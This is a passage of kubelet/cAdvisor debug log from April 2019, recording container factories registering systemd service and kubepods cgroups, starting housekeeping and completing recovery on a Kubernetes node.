/system.slice/systemd-random-seed.service\ \r i0411 14:25:34.510538     770 container.go:464  start housekeeping for container \ /system.slice/ondemand.service\ \r i0411 14:25:34.510804     770 manager.go:1045  added container: \ /system.slice/systemd-random-seed.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.510952     770 handler.go:325  added event &{/system.slice/systemd-random-seed.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.510976     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/system-getty.slice\ \r i0411 14:25:34.510985     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/system-getty.slice\ \r i0411 14:25:34.510993     770 factory.go:109  error trying to work out if we can handle /system.slice/system-getty.slice: /system.slice/system-getty.slice not handled by systemd handler\r i0411 14:25:34.510998     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/system-getty.slice\ \r i0411 14:25:34.511004     770 factory.go:116  using factory \ raw\  for container \ /system.slice/system-getty.slice\ \r i0411 14:25:34.511076     770 container.go:464  start housekeeping for container \ /system.slice/systemd-random-seed.service\ \r i0411 14:25:34.511152     770 manager.go:1045  added container: \ /system.slice/system-getty.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.511270     770 handler.go:325  added event &{/system.slice/system-getty.slice 2019-04-11 10:58:03.111055042 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.511296     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-remount-fs.service\ \r i0411 14:25:34.511306     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-remount-fs.service\ \r i0411 14:25:34.511323     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-remount-fs.service: /system.slice/systemd-remount-fs.service not handled by systemd handler\r i0411 14:25:34.511328     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-remount-fs.service\ \r i0411 14:25:34.511335     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-remount-fs.service\ \r i0411 14:25:34.511378     770 container.go:464  start housekeeping for container \ /system.slice/system-getty.slice\ \r i0411 14:25:34.511469     770 manager.go:1045  added container: \ /system.slice/systemd-remount-fs.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.511603     770 handler.go:325  added event &{/system.slice/systemd-remount-fs.service 2019-04-11 10:58:03.139054903 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.511625     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/acpid.service\ \r i0411 14:25:34.511633     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/acpid.service\ \r i0411 14:25:34.511640     770 factory.go:109  error trying to work out if we can handle /system.slice/acpid.service: /system.slice/acpid.service not handled by systemd handler\r i0411 14:25:34.511645     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/acpid.service\ \r i0411 14:25:34.511651     770 factory.go:116  using factory \ raw\  for container \ /system.slice/acpid.service\ \r i0411 14:25:34.511719     770 container.go:464  start housekeeping for container \ /system.slice/systemd-remount-fs.service\ \r i0411 14:25:34.511794     770 manager.go:1045  added container: \ /system.slice/acpid.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.511923     770 handler.go:325  added event &{/system.slice/acpid.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.511945     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cgroupfs-mount.service\ \r i0411 14:25:34.511954     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cgroupfs-mount.service\ \r i0411 14:25:34.511962     770 factory.go:109  error trying to work out if we can handle /system.slice/cgroupfs-mount.service: /system.slice/cgroupfs-mount.service not handled by systemd handler\r i0411 14:25:34.511966     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cgroupfs-mount.service\ \r i0411 14:25:34.511972     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cgroupfs-mount.service\ \r i0411 14:25:34.512031     770 container.go:464  start housekeeping for container \ /system.slice/acpid.service\ \r i0411 14:25:34.512120     770 manager.go:1045  added container: \ /system.slice/cgroupfs-mount.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.512261     770 handler.go:325  added event &{/system.slice/cgroupfs-mount.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.512281     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.512288     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.512294     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.512302     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.512310     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/kmod-static-nodes.service\ \r i0411 14:25:34.512318     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/kmod-static-nodes.service\ \r i0411 14:25:34.512326     770 factory.go:109  error trying to work out if we can handle /system.slice/kmod-static-nodes.service: /system.slice/kmod-static-nodes.service not handled by systemd handler\r i0411 14:25:34.512330     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/kmod-static-nodes.service\ \r i0411 14:25:34.512341     770 factory.go:116  using factory \ raw\  for container \ /system.slice/kmod-static-nodes.service\ \r i0411 14:25:34.512367     770 container.go:464  start housekeeping for container \ /system.slice/cgroupfs-mount.service\ \r i0411 14:25:34.512504     770 manager.go:1045  added container: \ /system.slice/kmod-static-nodes.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.512629     770 handler.go:325  added event &{/system.slice/kmod-static-nodes.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.512651     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/containerd.service\ \r i0411 14:25:34.512660     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/containerd.service\ \r i0411 14:25:34.512667     770 factory.go:109  error trying to work out if we can handle /system.slice/containerd.service: /system.slice/containerd.service not handled by systemd handler\r i0411 14:25:34.512672     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/containerd.service\ \r i0411 14:25:34.512677     770 factory.go:116  using factory \ raw\  for container \ /system.slice/containerd.service\ \r i0411 14:25:34.512752     770 container.go:464  start housekeeping for container \ /system.slice/kmod-static-nodes.service\ \r i0411 14:25:34.512825     770 manager.go:1045  added container: \ /system.slice/containerd.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.512984     770 handler.go:325  added event &{/system.slice/containerd.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.513007     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/console-setup.service\ \r i0411 14:25:34.513016     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/console-setup.service\ \r i0411 14:25:34.513024     770 factory.go:109  error trying to work out if we can handle /system.slice/console-setup.service: /system.slice/console-setup.service not handled by systemd handler\r i0411 14:25:34.513029     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/console-setup.service\ \r i0411 14:25:34.513035     770 factory.go:116  using factory \ raw\  for container \ /system.slice/console-setup.service\ \r i0411 14:25:34.513094     770 container.go:464  start housekeeping for container \ /system.slice/containerd.service\ \r i0411 14:25:34.513197     770 manager.go:1045  added container: \ /system.slice/console-setup.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.513320     770 handler.go:325  added event &{/system.slice/console-setup.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.513341     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ntp.service\ \r i0411 14:25:34.513348     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ntp.service\ \r i0411 14:25:34.513358     770 factory.go:109  error trying to work out if we can handle /system.slice/ntp.service: /system.slice/ntp.service not handled by systemd handler\r i0411 14:25:34.513363     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ntp.service\ \r i0411 14:25:34.513369     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ntp.service\ \r i0411 14:25:34.513447     770 container.go:464  start housekeeping for container \ /system.slice/console-setup.service\ \r i0411 14:25:34.513513     770 manager.go:1045  added container: \ /system.slice/ntp.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.513662     770 handler.go:325  added event &{/system.slice/ntp.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.513685     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ebtables.service\ \r i0411 14:25:34.513694     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ebtables.service\ \r i0411 14:25:34.513712     770 factory.go:109  error trying to work out if we can handle /system.slice/ebtables.service: /system.slice/ebtables.service not handled by systemd handler\r i0411 14:25:34.513717     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ebtables.service\ \r i0411 14:25:34.513723     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ebtables.service\ \r i0411 14:25:34.513780     770 container.go:464  start housekeeping for container \ /system.slice/ntp.service\ \r i0411 14:25:34.513891     770 manager.go:1045  added container: \ /system.slice/ebtables.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.514030     770 handler.go:325  added event &{/system.slice/ebtables.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.514053     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods/besteffort\ \r i0411 14:25:34.514061     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods/besteffort\ \r i0411 14:25:34.514068     770 factory.go:109  error trying to work out if we can handle /kubepods/besteffort: /kubepods/besteffort not handled by systemd handler\r i0411 14:25:34.514072     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods/besteffort\ \r i0411 14:25:34.514078     770 factory.go:116  using factory \ raw\  for container \ /kubepods/besteffort\ \r i0411 14:25:34.514123     770 container.go:464  start housekeeping for container \ /system.slice/ebtables.service\ \r i0411 14:25:34.514250     770 manager.go:1045  added container: \ /kubepods/besteffort\   aliases:   , namespace: \ \  \r i0411 14:25:34.514385     770 handler.go:325  added event &{/kubepods/besteffort 2019-04-11 10:58:03.191054645 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.514407     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-fsck-root.service\ \r i0411 14:25:34.514416     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-fsck-root.service\ \r i0411 14:25:34.514424     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-fsck-root.service: /system.slice/systemd-fsck-root.service not handled by systemd handler\r i0411 14:25:34.514429     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-fsck-root.service\ \r i0411 14:25:34.514434     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-fsck-root.service\ \r i0411 14:25:34.514494     770 container.go:464  start housekeeping for container \ /kubepods/besteffort\ \r i0411 14:25:34.514579     770 manager.go:1045  added container: \ /system.slice/systemd-fsck-root.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.514755     770 handler.go:325  added event &{/system.slice/systemd-fsck-root.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.514785     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ssh.service\ \r i0411 14:25:34.514794     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ssh.service\ \r i0411 14:25:34.514802     770 factory.go:109  error trying to work out if we can handle /system.slice/ssh.service: /system.slice/ssh.service not handled by systemd handler\r i0411 14:25:34.514806     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ssh.service\ \r i0411 14:25:34.514812     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ssh.service\ \r i0411 14:25:34.514814     770 container.go:464  start housekeeping for container \ /system.slice/systemd-fsck-root.service\ \r i0411 14:25:34.514993     770 manager.go:1045  added container: \ /system.slice/ssh.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.515107     770 handler.go:325  added event &{/system.slice/ssh.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.515136     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/setvtrgb.service\ \r i0411 14:25:34.515145     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/setvtrgb.service\ \r i0411 14:25:34.515154     770 factory.go:109  error trying to work out if we can handle /system.slice/setvtrgb.service: /system.slice/setvtrgb.service not handled by systemd handler\r i0411 14:25:34.515159     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/setvtrgb.service\ \r i0411 14:25:34.515163     770 container.go:464  start housekeeping for container \ /system.slice/ssh.service\ \r i0411 14:25:34.515165     770 factory.go:116  using factory \ raw\  for container \ /system.slice/setvtrgb.service\ \r i0411 14:25:34.515388     770 manager.go:1045  added container: \ /system.slice/setvtrgb.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.515535     770 handler.go:325  added event &{/system.slice/setvtrgb.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.515562     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods.slice\ \r i0411 14:25:34.515572     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods.slice\ \r i0411 14:25:34.515580     770 factory.go:109  error trying to work out if we can handle /kubepods.slice: /kubepods.slice not handled by systemd handler\r i0411 14:25:34.515587     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods.slice\ \r i0411 14:25:34.515596     770 factory.go:116  using factory \ raw\  for container \ /kubepods.slice\ \r i0411 14:25:34.515662     770 container.go:464  start housekeeping for container \ /system.slice/setvtrgb.service\ \r i0411 14:25:34.515797     770 manager.go:1045  added container: \ /kubepods.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.515946     770 handler.go:325  added event &{/kubepods.slice 2019-04-11 11:18:21.899063862 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.515979     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/resolvconf.service\ \r i0411 14:25:34.515994     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/resolvconf.service\ \r i0411 14:25:34.516006     770 factory.go:109  error trying to work out if we can handle /system.slice/resolvconf.service: /system.slice/resolvconf.service not handled by systemd handler\r i0411 14:25:34.516013     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/resolvconf.service\ \r i0411 14:25:34.516024     770 factory.go:116  using factory \ raw\  for container \ /system.slice/resolvconf.service\ \r i0411 14:25:34.516105     770 container.go:464  start housekeeping for container \ /kubepods.slice\ \r i0411 14:25:34.516230     770 manager.go:1045  added container: \ /system.slice/resolvconf.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.516394     770 handler.go:325  added event &{/system.slice/resolvconf.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.516423     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cron.service\ \r i0411 14:25:34.516438     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cron.service\ \r i0411 14:25:34.516448     770 factory.go:109  error trying to work out if we can handle /system.slice/cron.service: /system.slice/cron.service not handled by systemd handler\r i0411 14:25:34.516453     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cron.service\ \r i0411 14:25:34.516459     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cron.service\ \r i0411 14:25:34.516504     770 container.go:464  start housekeeping for container \ /system.slice/resolvconf.service\ \r i0411 14:25:34.516636     770 manager.go:1045  added container: \ /system.slice/cron.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.516780     770 handler.go:325  added event &{/system.slice/cron.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.516809     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/grub-common.service\ \r i0411 14:25:34.516819     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/grub-common.service\ \r i0411 14:25:34.516831     770 factory.go:109  error trying to work out if we can handle /system.slice/grub-common.service: /system.slice/grub-common.service not handled by systemd handler\r i0411 14:25:34.516836     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/grub-common.service\ \r i0411 14:25:34.516842     770 factory.go:116  using factory \ raw\  for container \ /system.slice/grub-common.service\ \r i0411 14:25:34.516896     770 container.go:464  start housekeeping for container \ /system.slice/cron.service\ \r i0411 14:25:34.516997     770 manager.go:1045  added container: \ /system.slice/grub-common.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.517242     770 handler.go:325  added event &{/system.slice/grub-common.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.517271     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/apparmor.service\ \r i0411 14:25:34.517281     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/apparmor.service\ \r i0411 14:25:34.517288     770 factory.go:109  error trying to work out if we can handle /system.slice/apparmor.service: /system.slice/apparmor.service not handled by systemd handler\r i0411 14:25:34.517293     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/apparmor.service\ \r i0411 14:25:34.517299     770 factory.go:116  using factory \ raw\  for container \ /system.slice/apparmor.service\ \r i0411 14:25:34.517346     770 container.go:464  start housekeeping for container \ /system.slice/grub-common.service\ \r i0411 14:25:34.517487     770 manager.go:1045  added container: \ /system.slice/apparmor.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.517632     770 handler.go:325  added event &{/system.slice/apparmor.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.517656     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-update-utmp.service\ \r i0411 14:25:34.517666     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-update-utmp.service\ \r i0411 14:25:34.517674     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-update-utmp.service: /system.slice/systemd-update-utmp.service not handled by systemd handler\r i0411 14:25:34.517679     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-update-utmp.service\ \r i0411 14:25:34.517685     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-update-utmp.service\ \r i0411 14:25:34.517687     770 container.go:464  start housekeeping for container \ /system.slice/apparmor.service\ \r i0411 14:25:34.517917     770 manager.go:1045  added container: \ /system.slice/systemd-update-utmp.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.518037     770 handler.go:325  added event &{/system.slice/systemd-update-utmp.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.518061     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods.slice/kubepods-besteffort.slice\ \r i0411 14:25:34.518071     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods.slice/kubepods-besteffort.slice\ \r i0411 14:25:34.518079     770 factory.go:109  error trying to work out if we can handle /kubepods.slice/kubepods-besteffort.slice: /kubepods.slice/kubepods-besteffort.slice not handled by systemd handler\r i0411 14:25:34.518084     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods.slice/kubepods-besteffort.slice\ \r i0411 14:25:34.518090     770 factory.go:116  using factory \ raw\  for container \ /kubepods.slice/kubepods-besteffort.slice\ \r i0411 14:25:34.518162     770 container.go:464  start housekeeping for container \ /system.slice/systemd-update-utmp.service\ \r i0411 14:25:34.518291     770 manager.go:1045  added container: \ /kubepods.slice/kubepods-besteffort.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.518484     770 handler.go:325  added event &{/kubepods.slice/kubepods-besteffort.slice 2019-04-11 11:18:21.915063816 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.518519     770 factory.go:120  factory \ docker\  was unable to handle container \ /user.slice\ \r i0411 14:25:34.518533     770 factory.go:120  factory \ containerd\  was unable to handle container \ /user.slice\ \r i0411 14:25:34.518546     770 factory.go:109  error trying to work out if we can handle /user.slice: /user.slice not handled by systemd handler\r i0411 14:25:34.518554     770 factory.go:120  factory \ systemd\  was unable to handle container \ /user.slice\ \r i0411 14:25:34.518564     770 factory.go:116  using factory \ raw\  for container \ /user.slice\ \r i0411 14:25:34.518597     770 container.go:464  start housekeeping for container \ /kubepods.slice/kubepods-besteffort.slice\ \r i0411 14:25:34.518772     770 manager.go:1045  added container: \ /user.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.518954     770 handler.go:325  added event &{/user.slice 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.518988     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/kexec.service\ \r i0411 14:25:34.519004     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/kexec.service\ \r i0411 14:25:34.519017     770 factory.go:109  error trying to work out if we can handle /system.slice/kexec.service: /system.slice/kexec.service not handled by systemd handler\r i0411 14:25:34.519023     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/kexec.service\ \r i0411 14:25:34.519032     770 factory.go:116  using factory \ raw\  for container \ /system.slice/kexec.service\ \r i0411 14:25:34.519110     770 container.go:464  start housekeeping for container \ /user.slice\ \r i0411 14:25:34.519288     770 manager.go:1045  added container: \ /system.slice/kexec.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.519485     770 handler.go:325  added event &{/system.slice/kexec.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.519520     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/atd.service\ \r i0411 14:25:34.519536     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/atd.service\ \r i0411 14:25:34.519549     770 factory.go:109  error trying to work out if we can handle /system.slice/atd.service: /system.slice/atd.service not handled by systemd handler\r i0411 14:25:34.519557     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/atd.service\ \r i0411 14:25:34.519566     770 factory.go:116  using factory \ raw\  for container \ /system.slice/atd.service\ \r i0411 14:25:34.519603     770 container.go:464  start housekeeping for container \ /system.slice/kexec.service\ \r i0411 14:25:34.519828     770 manager.go:1045  added container: \ /system.slice/atd.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.519992     770 handler.go:325  added event &{/system.slice/atd.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.520025     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sysstat.service\ \r i0411 14:25:34.520037     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sysstat.service\ \r i0411 14:25:34.520048     770 factory.go:109  error trying to work out if we can handle /system.slice/sysstat.service: /system.slice/sysstat.service not handled by systemd handler\r i0411 14:25:34.520054     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/sysstat.service\ \r i0411 14:25:34.520063     770 factory.go:116  using factory \ raw\  for container \ /system.slice/sysstat.service\ \r i0411 14:25:34.520105     770 container.go:464  start housekeeping for container \ /system.slice/atd.service\ \r i0411 14:25:34.520297     770 manager.go:1045  added container: \ /system.slice/sysstat.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.520474     770 handler.go:325  added event &{/system.slice/sysstat.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.520510     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/iscsid.service\ \r i0411 14:25:34.520523     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/iscsid.service\ \r i0411 14:25:34.520534     770 factory.go:109  error trying to work out if we can handle /system.slice/iscsid.service: /system.slice/iscsid.service not handled by systemd handler\r i0411 14:25:34.520541     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/iscsid.service\ \r i0411 14:25:34.520549     770 factory.go:116  using factory \ raw\  for container \ /system.slice/iscsid.service\ \r i0411 14:25:34.520608     770 container.go:464  start housekeeping for container \ /system.slice/sysstat.service\ \r i0411 14:25:34.520729     770 manager.go:1045  added container: \ /system.slice/iscsid.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.520906     770 handler.go:325  added event &{/system.slice/iscsid.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.520970     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ifup@eth0.service\ \r i0411 14:25:34.520981     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ifup@eth0.service\ \r i0411 14:25:34.520992     770 factory.go:109  error trying to work out if we can handle /system.slice/ifup@eth0.service: /system.slice/ifup@eth0.service not handled by systemd handler\r i0411 14:25:34.520998     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ifup@eth0.service\ \r i0411 14:25:34.521007     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ifup@eth0.service\ \r i0411 14:25:34.521215     770 manager.go:1045  added container: \ /system.slice/ifup@eth0.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.521357     770 container.go:464  start housekeeping for container \ /system.slice/iscsid.service\ \r i0411 14:25:34.521353     770 handler.go:325  added event &{/system.slice/ifup@eth0.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.521422     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-journald.service\ \r i0411 14:25:34.521443     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-journald.service\ \r i0411 14:25:34.521458     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-journald.service: /system.slice/systemd-journald.service not handled by systemd handler\r i0411 14:25:34.521468     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-journald.service\ \r i0411 14:25:34.521479     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-journald.service\ \r i0411 14:25:34.521740     770 manager.go:1045  added container: \ /system.slice/systemd-journald.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.521898     770 handler.go:325  added event &{/system.slice/systemd-journald.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.521927     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/docker.service\ \r i0411 14:25:34.521942     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/docker.service\ \r i0411 14:25:34.521955     770 factory.go:109  error trying to work out if we can handle /system.slice/docker.service: /system.slice/docker.service not handled by systemd handler\r i0411 14:25:34.521964     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/docker.service\ \r i0411 14:25:34.521983     770 factory.go:116  using factory \ raw\  for container \ /system.slice/docker.service\ \r i0411 14:25:34.522243     770 manager.go:1045  added container: \ /system.slice/docker.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.522436     770 handler.go:325  added event &{/system.slice/docker.service 2019-04-11 14:06:09.090995776 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.522460     770 factory.go:120  factory \ docker\  was unable to handle container \ /lib\ \r i0411 14:25:34.522471     770 factory.go:120  factory \ containerd\  was unable to handle container \ /lib\ \r i0411 14:25:34.522484     770 factory.go:109  error trying to work out if we can handle /lib: /lib not handled by systemd handler\r i0411 14:25:34.522492     770 factory.go:120  factory \ systemd\  was unable to handle container \ /lib\ \r i0411 14:25:34.522502     770 factory.go:116  using factory \ raw\  for container \ /lib\ \r i0411 14:25:34.522590     770 container.go:464  start housekeeping for container \ /system.slice/ifup@eth0.service\ \r i0411 14:25:34.522621     770 container.go:464  start housekeeping for container \ /system.slice/systemd-journald.service\ \r i0411 14:25:34.522643     770 container.go:464  start housekeeping for container \ /system.slice/docker.service\ \r i0411 14:25:34.522781     770 manager.go:1045  added container: \ /lib\   aliases:   , namespace: \ \  \r i0411 14:25:34.523019     770 handler.go:325  added event &{/lib 2019-04-11 13:53:16.106810431 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.523043     770 manager.go:374  recovery completed\r i0411 14:25:34.523346     770 container.go:464  start housekeeping for container \ /lib\ \r i0411 14:25:34.556116     770 kubelet.go:1823  skipping pod synchronization - container runtime status check may not have completed yet.\r i0411 14:25:34.559898     770 config.go:100  looking for  file , have seen map  \r i0411 14:25:34.561443     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.561467     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.561482     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.561498     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.561508     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561514     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561521     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.561528     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.561533     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.561544     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/-.mount\ \r i0411 14:25:34.561550     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/-.mount\ , but ignoring.\r i0411 14:25:34.561557     770 manager.go:1005  ignoring container \ /system.slice/-.mount\ \r i0411 14:25:34.561562     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.561570     770 factory.go:120  factory \ containerd\  was unable to 